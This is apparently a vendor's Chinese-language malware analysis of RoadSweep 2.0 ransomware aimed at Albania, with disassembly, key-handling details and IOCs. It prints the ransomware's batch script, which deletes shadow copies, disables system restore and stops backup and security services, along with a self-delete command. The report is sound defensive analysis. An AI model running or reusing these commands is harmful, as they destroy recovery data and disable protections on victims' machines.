针对阿尔巴尼亚政府进行攻击的勒索软件——RoadSweep 2.0
2023-03-07
威胁等级:★★★★
2022年7月17日。阿尔巴尼亚新闻媒体报告了两起具有针对性的大规模网络攻击,该攻击与此前另一版针对于阿尔巴尼亚的勒索攻击类型相同,极有可能是相同攻击者。
概述
2022年7月17日。阿尔巴尼亚新闻媒体报告了两起具有针对性的大规模网络攻击,该攻击与此前另一版针对于阿尔巴尼亚的勒索攻击类型相同,极有可能是相同攻击者。威胁行为者同样使用了英伟达(Nvidia)和科威特电信公司(Kuwait Telecommunications Company)的有效证书来签署他们的恶意软件,目前该证书已被吊销。
图:使用一个窃取的数字证书
具有政治色彩的勒索
勒索信在文本内容的展示上于此前有较大的变化,但是与上一版本具有相同的勒索信名称并且同样也提到了阿尔巴尼亚相关政治信息。
图:具有政治信息的勒索信
ATT&CK矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 执行 | T1059 命令和脚本解释器 | 通过BAT批处理执行命令行,关闭还原点、删除卷拷贝、停止指定服务、结束指定进程。 |
TA0005 防御规避 | T1036 伪装 | RoadSweep通过修改程序图标,构造GUI程序来伪装成一个PDF转换工具。 |
TA0005 防御规避 | T1497 虚拟化/沙盒规避 | 构造特殊的启动参数个数,阻碍并误导沙箱对文件的分析结果。 |
TA0005 防御规避 | T1140 去混淆或解密文件和信息 | 程序内的部分字符串使用RC4算法加密,执行时会进行解密。 |
TA0005 防御规避 | T1070 消除指示器 | 调用命令行进行自删除。 |
TA0007 环境发现 | T1083 枚举文件和目录 | 枚举磁盘文件和目录用于排除特定文件名称和文件格式,以便于加密其他格式的文件。 |
TA0040 影响 | T1486 数据加密 | 使用数据加密算法将文件数据进行加密处理,以便进行敲诈勒索。 |
TA0040 影响 | T1490 阻碍系统恢复 | 关闭系统还原点以防止用户恢复到系统最佳状态;通过删除磁盘卷影使磁盘文件数据进入不可恢复的状态。 |
TA0040 影响 | T1489 禁用或停止服务 | 停止特定名称的服务,用以关闭安全防护措施以及防止文件被程序占用导致的加密失败。 |
样本分析
字段 | 内容 |
---|---|
原始文件名 | pdftodoc.exe |
文件大小 | 45.48 KB |
文件 MD5 | 96eabcc77a6734ea8587599685fbf1b4 |
文件类型 | EXE |
病毒名 | Ransom.RoadSweep!1.DF34 |
主要功能 | 勒索病毒,加密磁盘文件结束指定进程和服务创建勒索信并自删除 |
伪造的GUI入口
RoadSweep勒索与此前上一个版本代码高度相似,第一版伪装为XML浏览工具,而第二版伪装成PDF转换工具并且触发勒索启动的命令行参数个数也有所调整。与前一代对比主要入口如下图展示:
图:与RoadSweep1.0的入口的对比
条件执行,对抗沙箱
触发样本恶意行为的条件是当命令行参数大于6个,并且参数个数为偶数。否则将打开一个虚假的PDF浏览窗口用来伪装成PDF浏览工具并向用户展示,既能够降低用户警觉性也可以妨碍沙箱正确的对样本进行行为上的分析。
v3 = alloca(0); __main(); //触发样本恶意行为需要正确的命令行参数个数 if ( argc <= 6 || argc % 2 == 1 ) { memset(&v80, 0, sizeof(v80)); v79 = 0; v80.lStructSize = 76; v80.hwndOwner = 0; v80.lpstrFilter = "PDF Files (*.pdf)"; v80.lpstrFile = &v79; v80.nMaxFile = 260; v80.lpstrDefExt = "*.xml"; v80.Flags = 528388; if ( !GetOpenFileNameA(&v80) ) exit(1); MessageBoxA( 0, "The format of the pdf file in not valid.\r\n(1,2)::Error: incorrect document syntax", "PdfToDoc", 0x30u); sub_403230(0); } v14 = 0;
创建互斥体,避免重复运行
创建互斥量 Global\Screenlimitsdevices#77! 在执行恶意行为前进行自我检测,避免多个实例干扰勒索加密结果
动态解密字符串
样本运行时通过CryptDecrypt执行RC4算法,解密程序中的导入函数字符串以及其他的重要字符串。防止杀毒软件对样本进行内容扫描时,检测到恶意字符串关键字。
0040144C 890424 MOV DWORD PTR SS:[ESP],EAX 0040144F 8B7D BC MOV EDI,DWORD PTR SS:[EBP-0x44] 00401452 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+0x8] 00401455 897C24 08 MOV DWORD PTR SS:[ESP+0x8],EDI 00401459 894C24 04 MOV DWORD PTR SS:[ESP+0x4],ECX 0040145D E8 5E5C0000 CALL00401462 897424 10 MOV DWORD PTR SS:[ESP+0x10],ESI 00401466 8B3D 14C04000 MOV EDI,DWORD PTR DS:[0x40C014] 0040146C 8D55 BC LEA EDX,DWORD PTR SS:[EBP-0x44] 0040146F 895424 14 MOV DWORD PTR SS:[ESP+0x14],EDX 00401473 C74424 0C 00000>MOV DWORD PTR SS:[ESP+0xC],0x0 0040147B C74424 08 01000>MOV DWORD PTR SS:[ESP+0x8],0x1 00401483 C74424 04 00000>MOV DWORD PTR SS:[ESP+0x4],0x0 0040148B 893C24 MOV DWORD PTR SS:[ESP],EDI ; 调用关键API:CryptDecrypt进行数据解密 0040148E E8 6D610000 CALL 00401493 83EC 18 SUB ESP,0x18 00401496 85C0 TEST EAX,EAX 00401498 75 1D JNZ SHORT 8ad01b02.004014B7
执行BAT脚本
运行时通过本地管道向cmd.exe输入脚本以执行如下功能:
- 关闭还原点
- 删除卷影拷贝
- 停止指定名称的服务
- 终止特定名称的进程
BAT代码如下:
::关闭系统还原点功能 @for /F "skip=1" %C in ('wmic LogicalDisk get DeviceID') do ( wmic /namespace:\\root\default Path SystemRestore Call disable "%C\" & @rd /s /q %C\$Recycle.bin) ::删除磁盘卷影拷贝 @vssadmin.exe delete shadows /all /quiet ::停止下列指定名称的服务 @set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgrSavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc @for %C in(%SrvLst%) do @net stop %C @set SrvLst= ::结束包含下列指定名称的进程 @set PrcLst=mysql sqloracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad @for %C in (%PrcLst%) do @taskkill /f /im "%C.exe" @set PrcLst= @exit
加密文件时将排除指定的文件名和文件路径
- how_to_unlock_myfiles.txt
- windows
- common|program files
- program files (x86)
- perflogs
- system volume information
- temporary internet files
- templates
- boot
- windows.old|all users
- boot.ini
- bootmgr
- bootmgr.efi
- bootmgfw.efi
- desktop.ini
- iconcache.db
- ntldr
- ntuser.dat
- ntuser.dat.log
- ntuser.ini
- thumbs.db
- $recycle.bin
创建多线程加密
遍历磁盘所有的盘符,为每个磁盘盘符分别创建一个线程用以同时进行文件加密操作。对多核机器提高处理器利用率,增加文件加密效率。
; kernel32.GetLogicalDriveStringsW 00402E2D FFD3 CALL EBX 00402E2F 83E8 04 SUB EAX,0x4 00402E32 83EC 08 SUB ESP,0x8 00402E35 8985 5CFCFFFF MOV DWORD PTR SS:[EBP-0x3A4],EAX 00402E3B 90 NOP 00402E3C 8D7426 00 LEA ESI,DWORD PTR DS:[ESI] 00402E40 83BD 5CFCFFFF F>CMP DWORD PTR SS:[EBP-0x3A4],-0x1 00402E47 0F8E D1000000 JLE 8ad01b02.00402F1E 00402E4D 0FB73D A82A4000 MOVZX EDI,WORD PTR DS:[0x402AA8] 00402E54 8D8D B8FCFFFF LEA ECX,DWORD PTR SS:[EBP-0x348] 00402E5A 8B85 5CFCFFFF MOV EAX,DWORD PTR SS:[EBP-0x3A4] 00402E60 890C24 MOV DWORD PTR SS:[ESP],ECX 00402E63 8B1D A42A4000 MOV EBX,DWORD PTR DS:[0x402AA4] 00402E69 BA FFFFFFFF MOV EDX,-0x1 00402E6E 0FB7B445 D8FDFF>MOVZX ESI,WORD PTR SS:[EBP+EAX*2-0x228] 00402E76 899D B8FCFFFF MOV DWORD PTR SS:[EBP-0x348],EBX ; 循环获取逻辑盘符 00402E7C 8B1D E0D24100 MOV EBX,DWORD PTR DS:[<&KERNEL32.GetDriveTypeW>] 00402E82 66:89BD BCFCFFF>MOV WORD PTR SS:[EBP-0x344],DI 00402E89 66:89B5 B8FCFFF>MOV WORD PTR SS:[EBP-0x348],SI 00402E90 8995 90FCFFFF MOV DWORD PTR SS:[EBP-0x370],EDX 00402E96 FFD3 CALL EBX 00402E98 8D78 FE LEA EDI,DWORD PTR DS:[EAX-0x2] 00402E9B 83EC 04 SUB ESP,0x4 00402E9E 83FF 02 CMP EDI,0x2 00402EA1 76 0E JBE SHORT 8ad01b02.00402EB1 00402EA3 83F8 06 CMP EAX,0x6 00402EA6 74 09 JE SHORT 8ad01b02.00402EB1 00402EA8 83AD 5CFCFFFF 0>SUB DWORD PTR SS:[EBP-0x3A4],0x4 00402EAF ^ EB 8F JMP SHORT 8ad01b02.00402E40 00402EB1 C70424 50874100 MOV DWORD PTR SS:[ESP],8ad01b02.00418750 00402EB8 8D85 B8FCFFFF LEA EAX,DWORD PTR SS:[EBP-0x348] 00402EBE 894424 04 MOV DWORD PTR SS:[ESP+0x4],EAX 00402EC2 E8 49420000 CALL00402EC7 C74424 14 00000>MOV DWORD PTR SS:[ESP+0x14],0x0 00402ECF B9 FFFFFFFF MOV ECX,-0x1 ; 通过循环的方式为每个盘符创建线程,执行后续加密 00402ED4 8B35 A8D24100 MOV ESI,DWORD PTR DS:[<&KERNEL32.CreateThread>]
修改文件后缀名
在加密之前通过MoveFileEx先修改文件后缀名,在文件名尾部添加.lck作为感染标识。
00402073 897424 04 MOV DWORD PTR SS:[ESP+0x4],ESI 00402077 890424 MOV DWORD PTR SS:[ESP],EAX 0040207A FF15 68D34100 CALL DWORD PTR DS:[<&KERNEL32.lstrcpyW>] 00402080 83EC 08 SUB ESP,0x8 00402083 C74424 04 FA1F4>MOV DWORD PTR SS:[ESP+0x4],8ad01b02.00401FFA ; UNICODE ".lck" 0040208B 891C24 MOV DWORD PTR SS:[ESP],EBX 0040208E FF15 64D34100 CALL DWORD PTR DS:[<&KERNEL32.lstrcatW>] 00402094 83EC 08 SUB ESP,0x8 00402097 C74424 08 09000>MOV DWORD PTR SS:[ESP+0x8],0x9 0040209F 895C24 04 MOV DWORD PTR SS:[ESP+0x4],EBX 004020A3 893424 MOV DWORD PTR SS:[ESP],ESI ; 通过MoveFileExW修改文件后缀添加.lck 004020A6 FF15 1CD34100 CALL DWORD PTR DS:[<&KERNEL32.MoveFileExW>]
RC4加密算法
通过时间种子生成随机数字串,导入CryptDeriveKey作为RC4算法密钥。
004078E1 F3:AB REP STOS DWORD PTR ES:[EDI] 004078E3 C70424 00000000 MOV DWORD PTR SS:[ESP],0x0 004078EA E8 A1F8FFFF CALL004078EF 890424 MOV DWORD PTR SS:[ESP],EAX ; 将当前时间作为加密算法所需的随机种子 004078F2 E8 89F8FFFF CALL
生成的随机数作为RC4密钥,被RoadSweep勒索开发者规定为特定格式以及长度的字符串如下:
022EEF0 43 36 36 46 41 32 37 54 2D 31 32 32 37 32 37 33 C66FA27T-1227273 0022EF00 39 45 2D 31 38 35 30 31 45 36 41 43 2D 31 42 44 9E-18501E6AC-1BD 0022EF10 38 39 35 46 45 44 2D 31 39 44 32 45 35 38 36 56 895FED-19D2E586V 0022EF20 2D 37 42 38 44 32 44 36 47 2D 31 37 36 46 44 45 -7B8D2D6G-176FDE 0022EF30 34 52 2D 31 46 30 44 35 38 34 32 58 2D 31 36 37 4R-1F0D5842X-167 0022EF40 37 30 33 36 31 32 31 00 00 00 00 00 00 00 00 00 7036121.........
RSA加密算法
导入RSA公钥加密随机数明文数据块(RC4密钥)将加密后密文数据存放到How_To_Unlock_MyFiles.txt勒索信中,随后通过RC4算法加密文件。
00407A9C 897C24 14 MOV DWORD PTR SS:[ESP+0x14],EDI 00407AA0 895424 08 MOV DWORD PTR SS:[ESP+0x8],EDX 00407AA4 C74424 04 609A4>MOV DWORD PTR SS:[ESP+0x4],8ad01b02.00409A60 00407AAC 8B08 MOV ECX,DWORD PTR DS:[EAX] 00407AAE 890C24 MOV DWORD PTR SS:[ESP],ECX ; 使用CryptImportKey导入RSA公钥 00407AB1 E8 3AFBFFFF CALL
RSA公钥数据块展示如下,它存放于RoadSweep勒索软件PE结构的数据段中在对RC4密钥进行加密时取出,通过CryptImportKey导入密钥。
00409A60 06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 ...?.RSA1... 00409A70 01 00 01 00 0D 27 63 1C 89 0D 9A 04 BE B7 F9 E2 ...'c??痉 00409A80 35 57 DE E1 BB C3 DF FE 5F 96 3B 9A 28 08 30 89 5W掎幻唼_??0? 00409A90 74 24 52 8D 10 FE 35 72 10 53 41 E5 54 C4 C8 DC t$R??rSA錞娜? 00409AA0 1D 9D C1 B7 79 1C E0 71 F7 2D 4C D3 1B 76 44 A9 澚穣鄎?L?vD? 00409AB0 49 09 EF CB 70 7C E0 03 B3 99 46 C9 CE 39 2D 97 I.锼p|?硻F晌9-? 00409AC0 B3 98 1D 92 F1 D5 B8 1C 69 F6 D9 1C F1 54 C8 CF 硺採崭i鲑馮认 00409AD0 85 AB A4 17 54 F5 16 38 67 EB 27 77 26 A3 10 02 叓?T?8g?w&? 00409AE0 D6 66 80 6A D8 FF 5B 5A 4E 84 01 E5 35 9A E3 F5 謋€j?[ZN??氥? 00409AF0 13 B8 10 C9 94 00 00 00 00 00 00 00 00 00 00 00 ?蓴...........
自我删除
在程序最终执行完毕后,通过启动cmd.exe执行从程序自身所在路径自我删除的行为,防止威胁分析人员捕获到RoadSweep恶意样本。
Cmd.exe ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\win7\Desktop\pdftodoc.exe"
预防措施
1.部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
2.安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星 ESM 目前已经可以检出此次攻击事件的相关样本。
沦陷信标(IOC)
MD5
96EABCC77A6734EA8587599685FBF1B4
WindowsMutex
Global\Screenlimitsdevices#77!